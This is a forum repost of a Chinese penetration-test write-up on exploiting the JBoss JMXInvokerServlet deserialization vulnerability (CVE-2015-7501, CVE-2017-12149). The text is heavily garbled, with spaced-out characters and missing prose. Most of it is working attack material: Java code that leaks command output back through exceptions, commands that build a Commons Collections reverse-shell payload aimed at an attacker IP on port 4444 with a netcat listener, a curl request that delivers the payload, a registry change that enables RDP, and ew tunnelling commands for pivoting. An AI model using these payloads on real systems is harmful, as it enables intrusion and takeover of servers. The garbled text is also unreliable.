[18558] 2021-05-06_记一次渗透测试之JMXInvokerServlet反序列化漏洞

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2021-05-06_记一次渗透测试之JMXInvokerServlet反序列化漏洞 J M X I n v o k e r S e r v l e t   C k i n   H A C K   2 0 2 1 - 0 5 - 0 6 0 x 0 0     j b o s s j m x - c o n s o l e J M X I n v o k e r S e r v l e t   w a r 访 j s p 5 0 0 w e b J M X I n v o k e r S e r v l e t s h e l l   0 x 0 1   J b o s s   J M X I n v o k e r S e r v l e t   J b o s s     H t t p I n v o k e r   R e a d O n l y A c c e s s F i l t e r     J b o s s C V E - 2 0 1 5 - 7 5 0 1 C V E - 2 0 1 7 - 1 2 1 4 9   C V E - 2 0 1 5 - 7 5 0 1 J B o s s   / i n v o k e r / J M X I n v o k e r S e r v l e t     A p a c h e   C o m m o n s   C o l l e c t i o n s     G a d g e t   C V E - 2 0 1 7 - 1 2 1 4 9   J a v a   J b o s s     H t t p I n v o k e r     R e a d O n l y A c c e s s F i l t e r     j a v a 线 j a v a     J a v a J a v a . , 便   J a v a J a v a     : C V E - 2 0 1 5 - 7 5 0 1 J B o s s J B o s s / i n v o k e r / J M X I n v o k e r S e r v l e t   C V E - 2 0 1 7 - 1 2 1 4 9 H t t p I n v o k e r R e a d O n l y A c c e s s F i l t e r j b o s s s e r v e r a l l d e p l o y h t t p h a - i n v o k e r . s a r i n v o k e r . w a r W E B - I N F c l a s s e s o r g j b o s s i n v o c a t i o n h t t p s e r v l e t R e a d O n l y A c c e s s F i l t e r . c l a s s , d o F i l t e r :     h t t p r e a d o b j e c t ( ) F i l e O u t p u t S t r e a m   f o s   =   n e w   F i l e O u t p u t S t r e a m ( f i l e ) ; O b j e c t O u t p u t S t r e a m   o o s   =   n e w   O b j e c t O u t p u t S t r e a m ( f o s ) ; o o s . w r i t e O b j e c t ( s t ) ; F i l e I n p u t S t r e a m   f i s   =   n e w   F i l e I n p u t S t r e a m ( f i l e ) ; O b j e c t I n p u t S t r e a m   o i s   =   n e w   O b j e c t I n p u t S t r e a m ( f i s ) ; S t u d e n t   s t 1   =   ( S t u d e n t )   o i s . r e a d O b j e c t ( ) ;
  J B o s s i n v o k e r / J M X I n v o k e r S e r v l e t J B o s s j m x J a v a   0 x 0 2     E X P   j a v a   (   c l a s s c l a s s F i l e O u t p u t S t r e a m F i l e O u t p u t S t r e a m . ,     J B O S S i n v o k e r / J M X I n v o k e r S e r v l e t   M a r s h a l l e d V a l u e i n v o k e r / J M X I n v o k e r S e r v l e t I n v o c a t i o n E x c e p t i o n M a r s h a l l e d V a l u e   j a v a   S t r i n g c l a s s E x c e p t i o n p a y l o a d . c l a s s t h r o w E x c e p t i o n E x c e p t i o n M a r s h a l l e d V a l u e h t t p M a r s h a l l e d V a l u e   p a y l o a d . j a v a : : n e w   F i l e O u t p u t S t r e a m ( . / p a y l o a d . c l a s s ) . w r i t e ( n e w   b y t e [ ] { 0 x X X , 0 x X X } ) j a v a . n e t . U R L C l a s s L o a d e r .   g e t C o n s t r u c t o r ( j a v a . n e t . U R L [ ] . c l a s s ) .   n e w I n s t a n c e ( n e w   j a v a . n e t . U R L [ ]   { n e w   j a v a . n e t . U R L ( " f i l e : . / " ) } ) .   l o a d C l a s s ( p a y l o a d ) .   n e w I n s t a n c e ( c m d . e x e   / c   w h o a m i ) i m p o r t   j a v a . i o . B u f f e r e d R e a d e r ; i m p o r t   j a v a . i o . I n p u t S t r e a m R e a d e r ; p u b l i c   c l a s s   R u n C h e c k C o n f i g   { p u b l i c   R u n C h e c k C o n f i g ( S t r i n g     a r g s )   t h r o w s   E x c e p t i o n { P r o c e s s   p r o c   =   R u n t i m e . g e t R u n t i m e ( ) . e x e c ( a r g s ) ; B u f f e r e d R e a d e r   b r   =   n e w   B u f f e r e d R e a d e r ( n e w   I n p u t S t r e a m R e a d e r ( p r o c . g e t I n p u t S t r e a m ( ) ) ) ; S t r i n g B u f f e r   s b   =   n e w   S t r i n g B u f f e r ( ) ; S t r i n g   l i n e ; w h i l e   ( ( l i n e   =   b r . r e a d L i n e ( ) )   ! =   n u l l ) { s b . a p p e n d ( l i n e ) . a p p e n d ( " n " ) ; } S t r i n g   r e s u l t   =   s b . t o S t r i n g ( ) ; E x c e p t i o n   e = n e w   E x c e p t i o n ( r e s u l t ) ; t h r o w   e ; } } p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g   a r g s [ ] )   t h r o w s   E x c e p t i o n { F i l e I n p u t S t r e a m   f i s   =   n e w   F i l e I n p u t S t r e a m ( " d : / r e s p o n s e . b i n " ) ; b y t e   T e m p B y t e [ ] = n e w   b y t e [ 5 0 0 0 * 1 0 0 0 ] ; i n t   l e n g t h = f i s . r e a d ( T e m p B y t e ) ; i n t   C l a s s S t a r t = 0 ; f o r   ( i n t   i = 0 ; i < l e n g t h ; i + + ) { i f   ( T e m p B y t e [ i ] = = 0 x 0 d & & T e m p B y t e [ i + 1 ] = = 0 x 0 a & & T e m p B y t e [ i + 2 ] = = 0 x 0 d & & T e m p B y t e [ i + 3 ] = = 0 x 0 a ) { S y s t e m . o u t . p r i n t l n ( i ) ; C l a s s S t a r t = i ; b r e a k ; } } b y t e   C l a s s B y t e [ ] = n e w   b y t e [ l e n g t h - C l a s s S t a r t - 4 ] ; f o r   ( i n t   i = 0 ; i < C l a s s B y t e . l e n g t h ; i + + ) { C l a s s B y t e [ i ] = T e m p B y t e [ i + C l a s s S t a r t + 4 ] ; } f i s . c l o s e ( ) ; T e m p B y t e = n u l l ; B y t e A r r a y I n p u t S t r e a m   a i = n e w   B y t e A r r a y I n p u t S t r e a m ( C l a s s B y t e ) ; O b j e c t I n p u t S t r e a m   o i s   =   n e w   O b j e c t I n p u t S t r e a m ( a i ) ;
      0 x 0 3     e x p   J M X I n v o k e r S e r v l e t s h e l l 线 s h e l l s h e l l 线   O b j e c t I n p u t S t r e a m   o i s   =   n e w   O b j e c t I n p u t S t r e a m ( a i ) ; M a r s h a l l e d V a l u e   s t 1   =   ( M a r s h a l l e d V a l u e )   o i s . r e a d O b j e c t ( ) ; I n v o c a t i o n E x c e p t i o n   o = ( I n v o c a t i o n E x c e p t i o n )   s t 1 . g e t ( ) ; S y s t e m . o u t . p r i n t l n ( o . g e t T a r g e t E x c e p t i o n ( ) . g e t C a u s e ( ) . g e t C a u s e ( ) . g e t C a u s e ( ) . g e t M e s s a g e ( ) ) ; }
  i p v p s   j b o s s h t t p s : / / g i t h u b . c o m / i a n x t i a n x t / C V E - 2 0 1 5 - 7 5 0 1 /   v p s R e v e r s e S h e l l C o m m o n s C o l l e c t i o n s H a s h M a p . s e r n c s h e l l j a v a c   - c p   . : c o m m o n s - c o l l e c t i o n s - 3 . 2 . 1 . j a r   R e v e r s e S h e l l C o m m o n s C o l l e c t i o n s H a s h M a p . j a v a   j a v a   - c p   . : c o m m o n s - c o l l e c t i o n s - 3 . 2 . 1 . j a r   R e v e r s e S h e l l C o m m o n s C o l l e c t i o n s H a s h M a p   i p : 4 4 4 4 I P i p , i p , 4 4 4 4 ) n c   - l v n p   4 4 4 4
  使 c u r l n c s h e l l c s 线   3 3 8 9 c u r l   h t t p : / / i p : / i n v o k e r / J M X I n v o k e r S e r v l e t   - - d a t a - b i n a r y   @ R e v e r s e S h e l l C o m m o n s C o l l e c t i o n s H a s h M a p . s e r R E G   A D D   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l "   " S e r v e r   / v   f D e n y T S C o n n e c t i o n s   / t   R E G _ D W O R D   / d   0 0 0 0 0 0 0 0   / f
v p s e w 使 访 v p s 访     e w _ f o r _ w i n d o w s s q l s e r v e r . e x e   v p s v p s 1 1 1 1       0 x 0 4     j b o s s w e b l o g i c j m x s h e l l s h e l l 线 v p s j m x c h m o d   7 7 7   e w _ f o r _ l i n u x       / / e w . / e w _ f o r _ l i n u x 6 4   - s   l c x _ l i s t e n   - l   1 1 1 1   - e   1 2 3 4       / / 1 1 1 1 1 2 3 4 s h e l l   e w _ f o r _ w i n d o w s . e x e   - s   l c x _ s l a v e   - d   v p s - i p   - e   1 2 3 4   - f   i p   - g   3 3 8 9
6 P r o 稿 H o p e V e n u s
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则